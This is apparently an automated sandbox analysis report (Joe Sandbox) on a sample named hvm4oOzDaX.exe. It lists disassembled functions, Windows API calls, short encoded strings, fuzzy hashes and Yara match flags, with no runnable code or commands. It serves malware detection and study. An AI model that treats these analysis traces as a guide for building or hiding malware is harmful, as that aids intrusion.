_free.LIBCMT ref: 10006804
_free.LIBCMT ref: 10006815
_free.LIBCMT ref: 10006826

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: debb3193547cbbcb7717f1e4cdc42473b8e46860ea64e0849bed9af40c6c58a4
Instruction ID: 2a5a278bef7b5ad6e03033ca92f6b3e0bb2fc7991e1f46602c590ec50041d4ba
Opcode Fuzzy Hash: debb3193547cbbcb7717f1e4cdc42473b8e46860ea64e0849bed9af40c6c58a4
Instruction Fuzzy Hash: FBE0E675D10131BAF711EF249C8644E3FA1F799A503068015F528222B7C7369751DFE3

Function 04B60CAD Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04B60CB6

Part of subcall function 04B61D29: HeapFree.KERNEL32(00000000,00000000,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?), ref: 04B61D3F
Part of subcall function 04B61D29: GetLastError.KERNEL32(?,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?,?), ref: 04B61D51

_free.LIBCMT ref: 04B60CC9
_free.LIBCMT ref: 04B60CDA
_free.LIBCMT ref: 04B60CEB

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction ID: 12d1ad5acca3a230a4014d0cfece372d21223487b5c98b8b168eb06ab3590b9b
Opcode Fuzzy Hash: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction Fuzzy Hash: A6E0EC79A13334AA96366F18BD40449FF69FBD8B143850076E52112230C73A2553ABCE

Function 0041017D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\hvm4oOzDaX.exe, xrefs: 004101C0, 004101C7, 004101FD

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\hvm4oOzDaX.exe
API String ID: 0-2466851316
Opcode ID: 071b538174e6ec2062faa24906a4cfa7e50636e93d54360a723864c0abc3d007
Instruction ID: ef1b21c86d4c641325268a2e562e5aacaa8476dc5588200f607cc18d3bf73bc2
Opcode Fuzzy Hash: 071b538174e6ec2062faa24906a4cfa7e50636e93d54360a723864c0abc3d007
Instruction Fuzzy Hash: A8416471E00214ABCB219B999C85AEFBBF8EFD4350B1440ABF50497251D7B99EC1CB98

Function 10006038 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\hvm4oOzDaX.exe, xrefs: 1000607B, 10006082, 100060B8

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\hvm4oOzDaX.exe
API String ID: 0-2466851316
Opcode ID: 4a8ba0bb3459913fcd586df3a76a6e4d0e3c9f4097a590b62cd75fbc9ff119e1
Instruction ID: cc2ecb4b5d0b55cd4a25e2381517e3645a439caaa5f14caae8cc7f97f4731dcb
Opcode Fuzzy Hash: 4a8ba0bb3459913fcd586df3a76a6e4d0e3c9f4097a590b62cd75fbc9ff119e1
Instruction Fuzzy Hash: 9241AD75E00215BBEB11CB99CC8199FBBF9EF89390B244066F901A7216D6719B80CB90

Function 04B603E4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\hvm4oOzDaX.exe, xrefs: 04B60427, 04B6042E, 04B60464

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\hvm4oOzDaX.exe
API String ID: 0-2466851316
Opcode ID: 9c4445743612698079b74687b6d690de0a76c3e5134965afe2d5fa7eb50f9b57
Instruction ID: 6ec61ae776d91ba0ec407f097d746dd00b1021db5fd28e89e15f9edbca5c8fa0
Opcode Fuzzy Hash: 9c4445743612698079b74687b6d690de0a76c3e5134965afe2d5fa7eb50f9b57
Instruction Fuzzy Hash: CA416871B00218AFDB25EF9EDC809AEBBB9EFC5314B1000F6E906D7251E774AA41CB54

Function 04B5AE47 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 04B5AE86
__IsNonwritableInCurrentImage.LIBCMT ref: 04B5AF3A

Strings

csm, xrefs: 04B5AF24

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction ID: 70e8698bee852924f5bb584f04452ba236da7fcfa1c8d49e128eb9e6af04e50f
Opcode Fuzzy Hash: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction Fuzzy Hash: F941A270A002189BCF10DF68C884BAEFFB5EF49318F148695EC19AB261D735BA15CB91

Function 0040B485 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 0040B4AA

Strings

RCC, xrefs: 0040B4C4
MOC, xrefs: 0040B4BC

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction ID: 67f376c023d9800a5206fdaf198d645220277734bcfb559d46511f35e7f4eabb
Opcode Fuzzy Hash: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction Fuzzy Hash: 95415871900209AFDF15DF94CD81AAEBBB5EF48308F1480AAFA1576291D3399A50DB98

Function 100044D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 100044FB

Strings

MOC, xrefs: 1000450D
RCC, xrefs: 10004515

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction ID: 0fa13f4c886c2deeb8e1184eea68dc96f9460117e0f406c7378fe553058e7938
Opcode Fuzzy Hash: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction Fuzzy Hash: 7B419DB5900109AFEF06CF94CC81AEE7BB5FF48384F168059F9046B25AD736EA50CB55

Function 04B5B6EC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04B5B711

Strings

RCC, xrefs: 04B5B72B
MOC, xrefs: 04B5B723

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction ID: 2212925fe134cc2111ecafa736f2afae502ae44490f92b2f165d5a2064985c51
Opcode Fuzzy Hash: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction Fuzzy Hash: 28413572900209AFDF16DF98C881AEEBBB5FF48304F188199FD15AB261D335B950DB64

Function 04CF0730 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CF07BB

Strings

FEKN, xrefs: 04CF078A
NE]D, xrefs: 04CF0750

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: Init_thread_footer
String ID: FEKN$NE]D
API String ID: 1385522511-517842756
Opcode ID: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction ID: 4a3ff25f89580d27e5092a2c1f9e2e3ab16a9b8995b014d160fc7b73ff1bc844
Opcode Fuzzy Hash: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction Fuzzy Hash: 78215A30B00645CBE720DF28EC45BA837A1FB45308FD44279D9145B362EBB93685CBD9

Function 00401330 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 004013BB

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

NE]D, xrefs: 00401350
FEKN, xrefs: 0040138A

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: FEKN$NE]D
API String ID: 2296764815-517842756
Opcode ID: 58799410568a96232f7d03a0f48a1c330f944dde0b463f883dfd6296e8a80a12
Instruction ID: bb411daeb84ba6cc8782813aab56c5dc80a7b29e6052d91cba9c4b608feb04e2
Opcode Fuzzy Hash: 58799410568a96232f7d03a0f48a1c330f944dde0b463f883dfd6296e8a80a12
Instruction Fuzzy Hash: 51215C30B00245CBD720CF29E846BA977B0FB95304F94427AD8542B7A3DBB92586C7DD

Function 04B51597 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 04B593D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B593E2
Part of subcall function 04B593D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B5941F

__Init_thread_footer.LIBCMT ref: 04B51622

Part of subcall function 04B5938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B59397
Part of subcall function 04B5938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B593CA

Strings

NE]D, xrefs: 04B515B7
FEKN, xrefs: 04B515F1

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: FEKN$NE]D
API String ID: 4132704954-517842756
Opcode ID: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction ID: 3c1b778216039be24e69e93469c3dc91a6664500329f4febd1c30c6ecfce7c70
Opcode Fuzzy Hash: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction Fuzzy Hash: DF215C70B00245CBE720DF28E8457A5B7A0EF95304F9442A5DC151B271E7B53586C7CD

Function 04CF70C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CF712E

Strings

_DC[, xrefs: 04CF70D7
CD^O, xrefs: 04CF70E0

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction ID: 1731ede49108323c556952bbfab0d93331e320457b3e6952282b60f1bb63ecc1
Opcode Fuzzy Hash: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction Fuzzy Hash: 5E014930F002049BD760FF68BC009AC73B6F744304FD84179D61857240EB7879459BD9

Function 04CF6B00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CF6B6E

Strings

_DC[, xrefs: 04CF6B17
CD^O, xrefs: 04CF6B20

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction ID: 747a83191185ad56394dded9cb9ba93b3f1b74eca79b9a3740be4b17d2eb17e9
Opcode Fuzzy Hash: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction Fuzzy Hash: A4014970F002089BCB20FFA8AD4066CB3B1E704314F808279D61857250EB387945ABD5

Function 00407CC0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 00407D2E

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

_DC[, xrefs: 00407CD7
CD^O, xrefs: 00407CE0

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 771681945fa34edd6e0e28174c2ffae172e3917e716f88e7e73ce5ca880ecdaf
Instruction ID: 8bf2ad3165393ed28199ca71651b1e02a490a28405ec2f0c6d2e7b73ba48d91c
Opcode Fuzzy Hash: 771681945fa34edd6e0e28174c2ffae172e3917e716f88e7e73ce5ca880ecdaf
Instruction Fuzzy Hash: 1C012630F002059BC720EF6AAD0196973B4FB59300B84017AE5146B282E77899428BDE

Function 00407700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 0040776E

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

_DC[, xrefs: 00407717
CD^O, xrefs: 00407720

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 24f4af3076efdbe76c4f67dfe6ec8bc4985c003615b93ea008d725939ba6da37
Instruction ID: 44c7e97e152ec1ca5567fde67ff81d8d8e81e117548a1af78ec12ab7f1e6b2a3
Opcode Fuzzy Hash: 24f4af3076efdbe76c4f67dfe6ec8bc4985c003615b93ea008d725939ba6da37
Instruction Fuzzy Hash: 64012670F002089BC720FF69AD41A5973B0E708350F80827EE5196B292EB786941CBCA

Function 04B57F27 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B593D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B593E2
Part of subcall function 04B593D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B5941F

__Init_thread_footer.LIBCMT ref: 04B57F95

Part of subcall function 04B5938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B59397
Part of subcall function 04B5938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B593CA

Strings

_DC[, xrefs: 04B57F3E
CD^O, xrefs: 04B57F47

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction ID: 73845b54778f2b056d5136dc63a789871d4a557b4a36b63bea2f8ee065012b97
Opcode Fuzzy Hash: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction Fuzzy Hash: 07012670B00304DBC720EF69BD00AA9B3A4EB48304F9801B9D92947260DB74A4458FC9

Function 04B57967 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B593D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B593E2
Part of subcall function 04B593D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B5941F

__Init_thread_footer.LIBCMT ref: 04B579D5

Part of subcall function 04B5938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B59397
Part of subcall function 04B5938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B593CA

Strings

_DC[, xrefs: 04B5797E
CD^O, xrefs: 04B57987

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction ID: e1bb5d90f00d17a6e7e6a5c64c2046bb9bd3a1fb38832ff7038006b13d2d2031
Opcode Fuzzy Hash: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction Fuzzy Hash: BD0149B0B00208DBDB20FF68BD40B5DB3B0EB08314F8082EAD919472A0DB747445CBC9

Function 04CF64B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CF6519

Strings

DCDO, xrefs: 04CF64C6
EDO*, xrefs: 04CF64CD

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$EDO*
API String ID: 1385522511-3480089779
Opcode ID: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction ID: ca1d45f45f879eefd52c6732b31f4e1b4ccb8f88810e0ba0a058895270f261f9
Opcode Fuzzy Hash: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction Fuzzy Hash: 2501D6B0B012089FDB60EFA4EC8155CB7B1E705304F904579CB0597350DB387A858B99

Function 04CF65C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CF6629

Strings

DCDO, xrefs: 04CF65D6
^]E*, xrefs: 04CF65DD

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$^]E*
API String ID: 1385522511-2708296792
Opcode ID: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction ID: f44df31befee56a4becd036a8d8fa0c0979a67861187bd214ef651ff3220b3c4
Opcode Fuzzy Hash: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction Fuzzy Hash: 5E018170F00208AFDB60FFA8ED4256CBBB1EB04304F94417ADA1997394DF397A159B99

Function 004070B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 00407119

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

DCDO, xrefs: 004070C6
EDO*, xrefs: 004070CD

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$EDO*
API String ID: 2296764815-3480089779
Opcode ID: 48c2273e01edcb6ac59bbf7f24ff2868174c6a2c348a1f98b1917ebd6891d996
Instruction ID: 6e88f7cd3849569d85f07cd18ee47690fbb1a730dcdea08f10a2250dba35ba50
Opcode Fuzzy Hash: 48c2273e01edcb6ac59bbf7f24ff2868174c6a2c348a1f98b1917ebd6891d996
Instruction Fuzzy Hash: 1F0186B0F01208AFC710DF55E98255DB7B0E705304F90457ADA15AB3D1DB386D95CB8D

Function 004071C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 00407229

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

DCDO, xrefs: 004071D6
^]E*, xrefs: 004071DD

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$^]E*
API String ID: 2296764815-2708296792
Opcode ID: 0756c2e69ee73cd6b1975565275e615d9ad55c5d2def375231612cac40b3d99a
Instruction ID: 8efc7060af64cb8acb1af25de2c4b339d239c6825e953d18f5e204f1a235d67b
Opcode Fuzzy Hash: 0756c2e69ee73cd6b1975565275e615d9ad55c5d2def375231612cac40b3d99a
Instruction Fuzzy Hash: 8F016D70F002089BC720EF68E94295DB7B0EB08304F9441BEE919A7396DB3969158BCE

Function 04B57427 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B593D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B593E2
Part of subcall function 04B593D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B5941F

__Init_thread_footer.LIBCMT ref: 04B57490

Part of subcall function 04B5938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B59397
Part of subcall function 04B5938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B593CA

Strings

^]E*, xrefs: 04B57444
DCDO, xrefs: 04B5743D

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$^]E*
API String ID: 4132704954-2708296792
Opcode ID: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction ID: 437906388b61fe943357bd326f5e1a2ede15cdd2461330538d957623801f8a7b
Opcode Fuzzy Hash: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction Fuzzy Hash: 6C0162B0B00208DBD720EF68E95265CFBB4EB04704F9441BADD19573A0DB3579158FD9

Function 04B57317 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B593D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B593E2
Part of subcall function 04B593D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B5941F

